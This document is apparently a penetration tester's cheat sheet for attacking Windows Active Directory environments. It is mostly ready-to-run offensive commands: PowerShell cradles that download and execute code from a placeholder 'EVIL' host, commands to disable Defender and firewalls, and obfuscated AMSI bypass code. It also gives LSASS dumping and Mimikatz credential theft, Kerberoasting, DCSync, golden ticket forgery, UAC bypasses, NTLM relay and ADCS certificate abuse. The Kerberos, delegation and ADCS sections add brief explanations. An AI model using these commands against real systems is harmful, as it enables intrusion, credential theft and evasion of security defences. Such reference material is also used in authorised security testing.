PowerShell

- # 32-bit PowerShell
  - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
- # 64-bit PowerShell
  - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
- # Avoid truncation
  - <do_something> | Out-String -Width 10000
- # Check .NET version
  - [environment]::version
  - Then check the build on: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed
  - *4.0.30319.42000 == .NET Framework 4.6 and later*
- # Check PowerShell version
  - $PSVersionTable.PSVersion
- # Create SMB Share
  - New-SmbShare -Name MyShare -Path C:\Windows\Tasks -FullAccess Everyone
- # Defender
  - # Status
    - Get-MpComputerStatus
  - # Disable
    - Set-MpPreference -DisableRealtimeMonitoring $true
  - # Exclusion
    - Add-MpPreference -ExclusionPath C:\Windows\Tasks
  - # Remove Definitions
    - cmd /c "C:\program files\windows defender\MpCmdRun.exe" -removedefinitions -all
- # Disable Firewall
  - Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- # Domain
  - $env:USERDNSDOMAIN
  - Get-WmiObject Win32_ComputerSystem
- # Encode
  - $text = "(New-Object System.Net.WebClient).DownloadString('http://EVIL/run.txt') | IEX"
  - $bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
  - $EncodedText = [Convert]::ToBase64String($bytes)
- # Execute Cradles
  - (New-Object System.Net.WebClient).DownloadString('http://EVIL/run.txt') | IEX
  - iwr -uri http://EVIL/run.txt -UseBasicParsing | IEX
  - # Optional TLS v1.2

        - [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
- # Execution Policy
    - Set-ExecutionPolicy Unrestricted -Scope CurrentUser
- # Find recent files
    - ls C:\Users\ -Recurse | Where-Object {$_.LastWriteTime -lt (Get-Date).AddDays(-10)}
- # Grep
    - ls -Path C:\Users* -Recurse -EA Silent | Select-String -Pattern password
- # LanguageList
    - Set-WinUserLanguageList -LanguageList en-US
- # PowerShell history
    - ls C:\Users -Force -Recurse -Filter ConsoleHost_history.txt -EA Silent | cat

PowerView

- # Get the current user's domain
    - Get-NetDomain [-Domain test.local]
- # Get info about the domain controller
    - Get-NetDomainController [-Domain test.local]
- # Get info about the domain users
    - Get-NetUser [-Domain test.local] [-Username testuser]
- # Get info about the domain groups
    - Get-NetGroup [*admin*]
- # Get info about domain group membership
    - Get-NetGroup -UserName testuser
- # Get info about the domain computers
    - Get-NetComputer
- # Enumerates machines where current user has LA
    - Find-LocalAdminAccess
- # Enumerates LAs on all machines
    - Invoke-EnumerateLocalAdmin -Verbose
- # Enumerates DAs on all machines
    - Find-DomainUserLocation
- # Find Shares
    - Find-DomainShare -CheckShareAccess | ft -wrap | Out-File -Encoding ascii shares.txt
- # Find Files
    - Find-InterestingDomainShareFile -Include @('*password*', '*wachtwoord*', '*unattend*', '*.config', '*.ini', '*.txt', '*login*', '*credentials*', '*creds*', '*.xml', '*.php', '*.java', '*.jsp', '*.cfg', '*.json', '*.yaml', '*.yml') | ForEach-Object { Select-String -Path $_.Path -Pattern "password", "wachtwoord", "pwd:", "pwd=" } | ft -wrap | Out-File -Encoding ascii files.txt
    - Find-InterestingDomainShareFile -Include @('*.kdb', '*.kdbx')

- # Check for Unconstrained Delegation
    - Get-NetComputer -UnConstrained
- # Check for Constrained Delegation
    - Get-DomainUser -TrustedToAuth
    - Get-DomainComputer -TrustedToAuth
- # Check ACLs
    - Find-InterestingDomainAcl -ResolveGUIDs

ActiveDirectory Module

- # Get the current user's domain
    - Get-ADDomain [-Identity test.local]
- # Get info about the domain controller
    - Get-ADDomainController [-Discover] [-DomainName test.local]
- # Get info about the domain users
    - Get-ADUser -Filter * -Properties *
    - Get-ADUser -Server dc.test.local
    - Get-ADUser -Identity testuser
- # Get info about the domain groups
    - Get-ADGroup -Filter * | select Name
    - Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
    - Get-ADGroupMember -Identity "Domain Admins"
- # Get info about domain group membership
    - Get-ADPrincipalGroupMembership -Identity testuser
- # Get info about the domain computers
    - Get-ADComputer -Filter * | select Name
    - Get-ADComputer -Filter * -Properties *
- # Check for Unconstrained Delegation
    - Get-ADComputer -Filter {TrustedForDelegation -eq $true}
    - Get-ADUser -Filter {TrustedForDelegation -eq $true}
- # Check for Constrained Delegation
    - Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
- # Check ACLs
    - (Get-Acl 'AD:\CN=testuser,CN=Users,DC=test,DC=lab,DC=local').Access

Password Spray (external)

- # MFASweep
    - Invoke-MFASweep -Username <email> -Password <password>
- # MSOLSpray
    - Invoke-MSOLSpray -UserList users.txt -Password <password>
- # SprayingToolkit

    - python3 atomizer.py owa <domain> --recon
    - python3 atomizer.py owa <domain> <password> users.txt

Password Spray (internal)

- # AD Users
    - # ADSI
        - ([adsisearcher]"objectCategory=User").Findall() | ForEach {$_.properties.samaccountname} | Sort | Out-File -Encoding ASCII users.txt
    - # BloodHound
        - cat users.json | jq | grep email | cut -d "" -f 4 | sort -u > users.txt
    - # Impacket
        - GetADUsers.py <domain>/<user>:<pass> -dc-ip <ip>
- # Password Policy
    - # Net Command
        - net accounts /dom
    - # ActiveDirectory Module
        - Get-ADDefaultDomainPasswordPolicy
    - # CrackMapExec
        - crackmapexec smb <ip> -d <domain> -u <user> -p <pass> --pass-pol
    - # Impacket
        - GetADUsers.py <domain>/<user>:<pass> -dc-ip <ip>
- # Kerbrute
    - kerbrute passwordspray -d <domain> users.txt <password>
    - Don't forget to try: --user-as-pass
- # PowerShell
    - Invoke-DomainPasswordSpray -Password <password> -Force -OutFile spray.txt

BloodHound

- # Don't forget to check ALL domains!
- # Csharp
    - SharpHound.exe --CollectionMethod All --ExcludeDomainControllers --NoSaveCache
- # PowerShell
    - Invoke-BloodHound -CollectionMethod All -ExcludeDCs -NoSaveCache
- # BOF
    - sharphoundbof --CollectionMethod All --ExcludeDomainControllers --NoSaveCache
- # Python

    - proxychains bloodhound-python -c all -u <user> -p <pass> -d <domain> -ns <nameserver> --dns-timeout 30 --dns-tcp
- # BOFHound
    - First gather data with ldapsearch: ldapsearch (objectclass=*)
    - python3 -m pip install bofhound
    - bofhound -o /data/
- # ADExplorerSnapshot
    - First create a snapshot with ADExplorer
    - git clone https://github.com/c3c/ADExplorerSnapshot.py.git
    - python3 -m pip install .
    - ADExplorerSnapshot.py test.dat

Cypher

- # GUI/Graph Queries
    - # Computers where users can RDP
        - MATCH c=(C:Computer)-[r2:CanRDP]-(U:User) return c
    - # Everything related to backups
        - MATCH (n) WHERE n.description =~ "(?i).*(acronis|avamar|backup|barracuda|cohesity|commvault|dpm|rubrik|spectrum|unitrends|veeam|veritas).*" RETURN n
    - # Logon sessions
        - MATCH c=(C:Computer)-[r2:HasSession]-(U:User) return c
- # Console Queries
    - # Use Chrome for accessing the Neo4j browser
        - http://localhost:7474/browser/
    - # Get all AD descriptions
        - MATCH (n) WHERE n.description IS NOT NULL RETURN n.name,n.description

ASReproast

- # Don't forget to check ALL domains!
- # Impacket
    - GetNPUsers.py <domain>/<user>:<pass> -dc-ip <ip>
- # Rubeus
    - Rubeus.exe asreproast /format:hashcat /outfile:asreproast.txt

Kerberoast

- # Don't forget to check ALL domains!
- # Impacket

    - GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <ip> -request
- # PowerShell
    - Invoke-Kerberoast -OutputFormat HashCat | Select-Object -ExpandProperty hash | Out-File -Encoding ascii kerberoast.txt
- # Rubeus
    - Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt [/tgtdeleg]

LSASS Dump

- # GUI
    - Task Manager > Details > lsass.exe > Create dump file
- # ProcDump
    - procdump.exe -accepteula -ma <lsass_pid> lsass
- # RunDLL
    - Get-Process lsass
    - rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\Windows\Tasks\lsass.DMP full
- # CME
    - crackmapexec smb <ip_subnet> -u <user> -p <pass> -M lsassy

LSASS parsing

- # Mimikatz
    - .\mimikatz.exe "sekurlsa::minidump C:\Temp\lsass.DMP" "sekurlsa::logonpasswords" "exit" > lsass.txt
- # Pypykatz
    - pypykatz lsa minidump [-o lsass.txt] lsass.DMP

Mimikatz

- # Elevate privileges
    - privilege::debug
- # Dump LSASS
    - sekurlsa::logonpasswords
- # Dump SAM
    - lsadump::sam
- # Golden Ticket
    - kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /krbtgt:<ntlm> /ptt
- # Pass-the-Hash

    - sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm> /run:"mstsc.exe /restrictedadmin"
- # Over-Pass-The-Hash
    - sekurlsa::pth /user:Administrator /domain:. /ntlm:<ntlm> /run:powershell
- # PTT
    - sekurlsa::tickets /export
    - kerberos::ptt <ticket.kirbi>

Rubeus

- # Dump TGTs
    - Rubeus.exe dump /service krbtgt [/luid:<logonid>]
- # PTT
    - Rubeus.exe ptt <ticket.kirbi>
- # Request TGT
    - Rubeus.exe asktgt /domain:<domain> /user:<use> /rc4:<ntlm> /ptt

Kerberos and Authorization

- # Kerberos is an *authentication* protocol, not *authorization*
    - Only validates who you are, not whether you should access a resource or not
- # You will always get a TGS to access a service (e.g. cifs/SRV01)
    - It's up to SRV01 to check whether you should actually be able to
- # Simplified Flow
    - User authenticates to domain controller (DC)
    - DC returns ticket granting ticket (TGT)
    - Authenticated user requests service ticket to particular service (SPN) by representing TGT to DC
    - DC returns service ticket (TGS)
    - User sends service ticket to target host
- # Golden Ticket
    - Forging a TGT
    - Requires the krbtgt hash
    - Can be used to request any TGS from the DC
- # Silver Ticket
    - Forging a TGS
    - Requires the machine account hash
    - Can be used to directly access any service (without touching the DC!)

Delegation

- # Delegation Explained
    - Kerberos "Double Hop" issue: user <> web server <> database
    - The intermediate server MUST be trusted for delegation
    - Otherwise, the intermediate server cannot perform any actions on the database on behalf of the user.
- # Unconstrained Delegation
    - You have Admin privileges on machine X
    - The TGTs of all authenticated objects are saved in memory due to Unconstrained Delegation
    - With the "Printer Bug" you force a DC to authenticate to machine X
    - With the TGT of the DC you can DCSync
- # Constrained Delegation
    - You have user privileges on machine X
    - The "msds-allowedToDelegateto" attribute on machine X is filled with machine Y
    - You can now impersonate ANY user on machine Y (including a DA, if it is not in the "Protected Users" group)
    - Log in and dump LSASS
    - *Note that impersonation does not work in domain context!*
- # Resource Based Constrained Delegation
    - You have user privileges in a domain
    - This user has "GenericWrite" privileges on machine Y
    - You create a new AD object with this user: machine Z
    - You are abusing "GenericWrite" by populating the "msDS-AllowedToActOnBehalfOfOtherIdentity" attribute on machine Y with the new machine Z
    - You can now impersonate ANY user on machine Y (including a DA, if it is not in the "Protected Users" group)
    - Log in and dump LSASS
    - *Note that impersonation does not work in domain context!*
- # Extra RBCD info
    - The frontend service (New-MachineAccount) can use S4U2Self to request the forwardable TGS for any user to itself followed by S4U2Proxy to create a TGS for that user to the backend service (Victim with GenericWrite).
    - The KDC checks if the SID of the frontend service is present in the msDS-AllowedToActOnBehalfOfOtherIdentity property of the backend service.

Unconstrained Delegation Abuse

- # Monitor host with Unconstrained Delegation

    - Open cmd as admin
    - Rubeus.exe monitor /interval:5 /filteruser:DC01$
- # PrinterBug
    - SpoolSample.exe <DC> <ATTACKER>
    - *The coerced authentication probably worked!*
- # Pass-the-Ticket
    - cat ticket.txt | tr -d '\n' | tr -d ' '
    - Rubeus.exe ptt /ticket:<ticket>
- # DCSync
    - mimikatz.exe "lsadump::dcsync /domain:test.local /user:test\Administrator" "exit"

Constrained Delegation Abuse

- # Request TGT for compromised service with Constrained Delegation
    - Rubeus.exe asktgt /user:<user> /domain:<domain> /rc4:<ntlm>
- # Invoke S4U extensions
    - cat ticket.txt | tr -d '\n' | tr -d ' '
    - Rubeus.exe s4u /ticket:<ticket> /impersonateuser:Administrator /msdsspn:<spn> [/altservice:<spn>] /ptt

Resource-Based Constrained Delegation Abuse (RBCD)

- # Create new machine account (with PowerMad)
    - New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'P@ssw0rd1337' -AsPlainText -Force)
- # Create SecurityDescriptor
    - $sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
    - $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
- # Convert SecurityDescriptor
    - $SDbytes = New-Object byte[] ($SD.BinaryLength)
    - $SD.GetBinaryForm($SDbytes,0)
- # Set msds-allowedtoactonbehalfofotheridentity on target where we have *GenericWrite* privileges (with PowerView)
    - Get-DomainComputer -Identity <target> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
- # Use S4U to request a TGS

    - Rubeus.exe s4u /user:myComputer$ /rc4:<ntlm> /impersonateuser:administrator /msdsspn:CIFS/<target> /ptt
- # Verify access
    - ls \\<target>\c$

Impacket RBCD

- # Add Computer
    - addcomputer.py -computer-name 'rbcd$' -computer-pass 'Password12345' -hashes <ntlm_of_owned_computer$> -dc-ip <ip> 'fqdn/owned_computer$'
- # Set attribute
    - rbcd.py -delegate-to '<target_computer$>' -delegate-from 'rbcd$' -action write -hashes <ntlm_of_owned_computer$> -dc-ip <ip> '<fqdn/owned_computer$>'
- # Get TGT
    - getST.py -spn CIFS/<target.fqdn> -impersonate 'Administrator' -dc-ip <ip> '<fqdn>/rbcd$:Password12345'
- # Set environment
    - export KRB5CCNAME=/home/kali/Administrator.ccache
- # SecretsDump
    - secretsdump.py -k -no-pass <fqdn>/Administrator@<target_computer$>

Domain Admin to Enterprise Admin

- # Obtain krbtgt hash
    - lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
    - *cce9d6cd94eb31ccfbb7cc8eeadf7ce1*
- # Find domain SIDs
    - Get-DomainSID -Domain prod.corp1.com
    - *S-1-5-21-634106289-3621871093-708134407*
    - Get-DomainSID -Domain corp1.com
    - *S-1-5-21-1587569303-1110564223-1586047116*
- # Craft golden ticket with ExtraSid
    - kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-634106289-3621871093-708134407 /krbtgt:cce9d6cd94eb31ccfbb7cc8eeadf7ce1 /sids:S-1-5-21-1587569303-1110564223-1586047116***-519*** /ptt
- # Verify access
    - psexec.exe \\rdc01 cmd

DCSync

- # Mimikatz
    - lsadump::dcsync /user:<domain><user>
    - Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain><user>"'
- # Ntdsutil
    - powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
    - Compress-Archive -Path C:\Temp* -DestinationPath C:\Temp\dump.zip
- # SecretsDump
    - secretsdump.py <domain>/<user>:<pass>@<target> -outputfile dump
    - secretsdump.exe <domain>/<user>:<pass>@<target> -outputfile dump

SecretsDump (local)

- # Local NTDS
    - secretsdump.py -system SYSTEM -ntds ntds.dit -outputfile dump LOCAL
- # Local SAM
    - # Download local passwords
        - reg save HKLM\SAM C:\Windows\Tasks\SAM
    - # Download decryption key
        - reg save HKLM\SYSTEM C:\Windows\Tasks\SYSTEM
    - # Download cached domain credentials
        - reg save HKLM\SECURITY C:\Windows\Tasks\SECURITY
    - # Run Impacket locally
        - secretsdump.py -system SYSTEM -security SECURITY -sam SAM -outputfile dump LOCAL

Pass-the-Hash (PTH)

- # Impacket
    - psexec.py <domain>/<user>:<pass>@<target> -hashes <ntlm>:<ntlm> powershell
- # Invoke-TheHash
    - # Check reuse
        - Invoke-TheHash -Type WMIExec -Target <ip_subnet> -Username Administrator -Hash <ntlm>
    - # Run command
        - Invoke-TheHash -Type SMBExec -Target <ip> -Username Administrator -Hash <ntlm> -Command 'whoami'

PsExec

- # Remote target
    - psexec.exe -accepteula \\<target> powershell
    - psexec.exe -accepteula \\<target> "cmd.exe" "/c powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://EVIL/run.txt'))"
- # SYSTEM
    - psexec.exe -accepteula -i -s powershell
- # Task Manager
    - iwr -uri https://live.sysinternals.com/PsExec64.exe -OutFile C:\Windows\Tasks\psexec.exe
    - .\psexec.exe -accepteula -sid taskmgr.exe

NTLMv2 hashes

- # Responder
    - https://github.com/lgandx/Responder
    - responder -I eth0 -wrFb
        - -w = WPAD rogue proxy server
        - -r = netbios wredir suffix queries.
        - -F = force NTLM/Basic authentication on wpad.dat file retrieval
        - -b = Basic HTTP authentication
- # InveighZero
    - https://github.com/Kevin-Robertson/InveighZero
    - Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
- # Inveigh
    - https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
    - Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y [-Elevated N]

NTLM Relay

- # Choose attack
    - # Create new DA (if DA account is relayed)
        - ntlmrelayx.py -t ldaps://<dc_ip>
    - # Dump LDAP (any domain user)
        - ntlmrelayx.py -t ldaps://<domain> -wh attacker-wpad --delegate-access

        - # Dump SAM (default)
            - ntlmrelayx.py -t <target>
- # Choose trigger
    - # mitm6
        - mitm6 -d <domain>
    - # responder
        - responder -I eth0 -rv

Chisel

- # Install
    - apt install golang
    - git clone https://github.com/jpillora/chisel.git
    - cd chisel
- # Reverse Port Forward
    - # Server
        - go build
        - chisel server -p 443 --reverse
    - # Client
        - GOOS=windows go build
        - chisel.exe client <ip>:443 R:1433:127.0.0.1:1433
    - # Check
        - nmap -p 1433 localhost
- # SOCKS5
    - # Server
        - ./chisel server -p 80 --reverse --socks5
    - # Client
        - .\chisel.exe client <ip>:80 R:socks
    - # Check
        - proxychains nmap -p 1433 localhost

AMSI Bypasses

Most public AMSI bypass techniques have in common that they either disable Powershell Script-Logging or change subvalues of the System.Management.Automation namespace. Both techniques are therefore Powershell specific and only affect the Anti Malware Scan-Interface for Powershell script-code. This means that reflectively loaded .NET binaries WILL be flagged.

Remember that amsi.dll is loaded into a new process to hook any input in the Powershell command line or to analyze content for [System.Reflection.Assembly]::Load() calls. More successful AMSI bypass techniques rely on in memory patching for amsi.dll, which breaks

AMSI for the whole process. This means that reflectively loaded .NET binaries will NOT be flagged.

```
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C
73".Split("
")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result))
.GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split("
")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result
2),'NonPublic,Static').SetValue($null,$true)
```

```
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils")
{$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like
"*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf =
@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

AppLocker

- # Get Policy
  - Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
- # Bypass
  - C:\Windows\Tasks\
  - rundll32
  - https://lolbas-project.github.io/

Constrained Language Mode (CLM)

- # Check LanguageMode
  - $ExecutionContext.SessionState.LanguageMode
  - *ConstrainedLanguage*
- # PowerShell Downgrade
  - powershell -v 2
- # Bypass
  - https://github.com/calebstewart/bypass-clm
- # Custom Runspaces
  - https://github.com/mgeeky/Stracciatella
- # PowerShdll
  - https://github.com/p3nt4/PowerShdll
  - rundll32.exe PowerShdll.dll,main
- # MSBuild
  - https://github.com/Cn33liz/MSBuildShell
  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Tasks\MSBuildShell.csproj

UAC Bypass (C#)

- https://github.com/FatRodzianko/SharpBypassUAC
- # Generate EncodedCommand
    - echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
- # Use SharpBypassUAC e.g. from a CobaltStrike beacon
    - execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
- # Check
    - whoami /groups
    - *Mandatory Label**High** Mandatory Level*

UAC Bypass (CMSTP)

- https://github.com/expl0itabl3/uac-bypass-cmstp
- # Compile Source.cs
    - Add-Type -TypeDefinition ([IO.File]::ReadAllText("C:\Windows\Tasks\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "C:\Windows\Tasks\test.dll"
- # Load DLL
    - [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("C:\Windows\Tasks\test.dll"))
- # Execute elevated command
    - [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")
- # Check
    - whoami /groups
    - *Mandatory Label**High** Mandatory Level*

UAC Bypass (Fodhelper)

- # Check
    - whoami /groups
    - *Mandatory Label**Medium** Mandatory Level*
- # Exploit
    - New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value powershell -Force

    - New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
    - C:\Windows\System32\fodhelper.exe
- # Check
    - whoami /groups
    - *Mandatory Label**<u>***High***</u>** *Mandatory Level*

Lateral - RDP (port 3389)

- # Enable Remote Desktop connections
    - Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
- # Enable Network Level Authentication
    - Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
- # Enable Windows firewall rules to allow incoming RDP
    - Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
- # Check open port
    - Test-NetConnection <host> -CommonTCPPort RDP
- # Non-admin users
    - Add-LocalGroupMember -Group "Remote Desktop Users" -Member <user>
- # /admin
    - The /admin flag in mstsc.exe allows us to connect to the admin session, which does not disconnect the current user if we perform the login with the same user.
- # Enable PTH
    - New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

Lateral - WinRM (port 5985)

- # Enable PowerShell Remoting on the target (box needs to be compromised first)
    - Enable-PSRemoting -force
- # Check if a given system is listening on WinRM port
    - Test-NetConnection <IP> -CommonTCPPort WINRM
- # Trust all hosts
    - Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
- # Check what hosts are trusted
    - Get-Item WSMan:\localhost\Client\TrustedHosts
- # Execute command on remote host
    - Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
- # Interactive session with explicit credentials

    - Enter-PSSession <host> -Credential <domain>\<user>
- # Interactive session using Kerberos:
    - Enter-PSSession <host> -Authentication Kerberos
- # Upload file to remote session
    - Copy-Item -Path C:\Windows\Tasks\PowerView.ps1 -Destination C:\Windows\Tasks\ -ToSession (Get-PSSession)
- # Download file from remote session
    - Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Windows\Tasks\ -FromSession (Get-PSSession)

PowerUpSQL

- # Get Local Instance
    - Get-SQLInstanceLocal
- # Query Local Instance
    - Get-SQLQuery -Instance <local_instance> -Query "Select @@version"
- # Execute Command on Local Instance
    - Invoke-SQLOSCmd -Instance "<local_instance>" -Command "whoami"
- # Audit
    - Invoke-SQLAudit -Instance <instance>
- # Get Linked Instances
    - Get-SQLServerLink -Instance "<local_instance>"
- # Crawl Linked Instances
    - Get-SQLServerLinkCrawl -Instance "<local_instance>"
- # Query Linked Instance
    - Get-SQLQuery -Query "SELECT * FROM OPENQUERY(`"<remote_instance>`", 'select @@servername');"
- # Enable xp_cmdshell on Linked Instance
    - Get-SQLQuery -Query "EXEC('sp_configure "show advanced options", 1; reconfigure;') AT [<remote_instance>] EXEC('sp_configure "xp_cmdshell", 1; reconfigure;') AT [<remote_instance>]"
- # Execute Command on Linked Instance
    - Get-SQLServerLinkCrawl -Instance "<remote_instance>" -Query "exec master..xp_cmdshell 'whoami'"
- # Get Shell on Linked Instance
    - Get-SQLServerLinkCrawl -Instance "RDC01\SQLEXPRESS" -Query "exec master..xp_cmdshell 'powershell -enc bla'"
- # xp_dirtree
    - Get-SQLQuery -Instance <instance> -Query "EXEC master..xp_dirtree '\\<ip>\<share>';"

Runas

- # Start process (domain context)
    - runas /netonly /user:<user> powershell
- # Start process (local context)
    - runas /user:<user> powershell
- # Use saved credentials
    - runas /savecred /user:administrator powershell

Nltest

- # Get Domain Controllers
    - nltest /dsgetdc:<domain>
- # Get Domain Trusts
    - nltest /trusted_domains

Copy-Paste

- # Linux
    - apt install xclip
    - base64 BloodHound.zip | tr -d '\n' | xclip -sel clip
- # Macos
    - do_something | pbcopy
- # Windows
    - certutil -encode BloodHound.zip BloodHound.b64
    - cat BloodHound.b64 | Set-Clipboard
    - certutil -decode BloodHound.b64 BloodHound.zip

Verify Hashes

- # Linux
    - sha256sum <file>
- # MacOS
    - shasum -a 256 <file>
- # OpenSSL
    - openssl dgst -sha256 <file>
- # Windows
    - Get-FileHash <file>

Hashcat

- # Cracking
    - hashcat.bin -m 1000 dump.ntds mystery-list.txt -r OneRuleToRuleThemAll.rule
- # LM incremental
    - hashcat.bin -m 3000 dump.ntds -a 3 '?1?1?1?1?1?1?1' --increment -1 '?l?d?u'
- # NTLM incremental
    - hashcat.bin -m 1000 dump.ntds -a 3 '?1?1?1?1?1?1?1' --increment -1 '?l?d?u'

Load C# assembly reflectively

- # Ensure that the referenced class and main methods are public before running this!
- $data = (New-Object System.Net.WebClient).DownloadData('http://EVIL/Rubeus.exe')
- $assem = [System.Reflection.Assembly]::Load($data)
- [Rubeus.Program]::Main("dump".Split())

PrintNightmare

- # Vulnerable
    - https://github.com/byt3bl33d3r/ItWasAllADream
    - REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
- # C#
    - https://github.com/cube0x0/CVE-2021-1675
- # PowerShell (LPE)
    - https://github.com/calebstewart/CVE-2021-1675
- *Patched as of September 15th, 2021*

HiveNightmare / SeriousSAM

- https://github.com/GossiTheDog/HiveNightmare
- *Patched as of August 10th, 2021*

samAccountName spoofing / noPac

- https://github.com/cube0x0/noPac
- # Requirements
    - 1 DC not patched with either KB5008380 or KB5008602
    - Any valid domain user account
    - Machine Account Quota (MAQ) above 0 (by default it is 10)
- # Examples
    - noPac.exe scan -domain htb.local -user user -pass "password123"
    - noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
    - noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
- *Patched as of November 9th, 2021*

PetitPotam

- https://github.com/topotam/PetitPotam
- PetitPotam.py -d <domain> -u <user> -p <pass> <ATTACKER> <DC>
- *The unauthenticated variant is fixed as of Aug 10, 2021. The authenticated variant won't be fixed.*

ADCS

- https://github.com/GhostPack/Certify
- # ESC1 - Misconfigured Certificate Templates
    - When a certificate template allows to specify a "subjectAltName", it is possible to request a certificate for another user. It can be used for privilege escalation if the EKU specifies "Client Authentication" or "ANY". If the EKU specifies "Server Authentication", you're out of luck.
    - Example: Certify.exe request /ca:<server\ca-name> /template:<template> /altname:<domain>\<da>
- # ESC2 - Misconfigured Certificate Templates
    - When a certificate template specifies the "Any Purpose EKU", or no EKU at all, the certificate can be used for anything. ESC2 can be abused like ESC1 if the requester can specify a SAN. Otherwise it can be abused like ESC3.
    - Example: see ESC1 or ESC3.
- # ESC3 - Misconfigured Enrollment Agent Templates
    - This is a kind of inception: when a certificate template specifies the "Certificate Request Agent" EKU, it is possible to request a certificate from

this template first and then use this certificate to request certificates on behalf of other users.
    - Example:
        - Certify.exe request <server\ca-name> /template:<template>
        - Certify.exe request <server\ca-name> /template:User /onbehalfon:<domain>\<da> /enrollcert:<cert.pfx> /enrollcertpw:<password>
- # ESC4 - Vulnerable Certificate Template Access Control
    - If an attacker has FullControl or WriteDacl permissions over a certificate template's AD object, this allows them to push a misconfiguration to a template that is not otherwise vulnerable, leading to ESC1 vulnerability.
    - Examples can be found here: https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates
- # ESC5 - Vulnerable PKI AD Object Access Control
    - This is a container for AD misconfigurations that happen outside of ADCS. For example, when you can take over the CA server computer object by means of an RBCD. Basically it involves compromising the CA server itself.
    - No examples here.
- # ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
    - If the CA is configured with the "EDITF_ATTRIBUTESUBJECTALTNAME2" flag, and the User template is enabled (Certify.exe will mention this), any user can escalate to domain admin. The idea is the same where you specify a subjectAltName.
    - Example: see ESC1.
- # ESC7 - Vulnerable Certificate Authority Access Control
    - If an attacker has sufficient privileges over the Certificate Authority (ie "ManageCA"), it is possible to enable the "EDITF_ATTRIBUTESUBJECTALTNAME2" to allow SAN specification in any template.
    - Example:
        - Certify.exe setconfig /enablesan /restart
        - Certify.exe request /ca:<server\ca-name> /template:<template> /altname:<domain>\<da>
- # ESC8: ESC8 - NTLM Relay to AD CS HTTP Endpoints
    - If HTTP-based certificate enrollment interfaces are enabled, they are most likely vulnerable to NTLM relay attacks. The domain controller's NTLM credentials can then be relayed to the ADCS web enrollment and a DC certificate can be enrolled. This certificate can then be used to request a TGT and perform a DCSync.
- # Example:
    - ntlmrelayx -t "http://<ca-server>/certsrv/certfnsh.asp" --adcs --template <template>
    - # Then force authentication to your host, for example via Printerbug or Petitpotam.
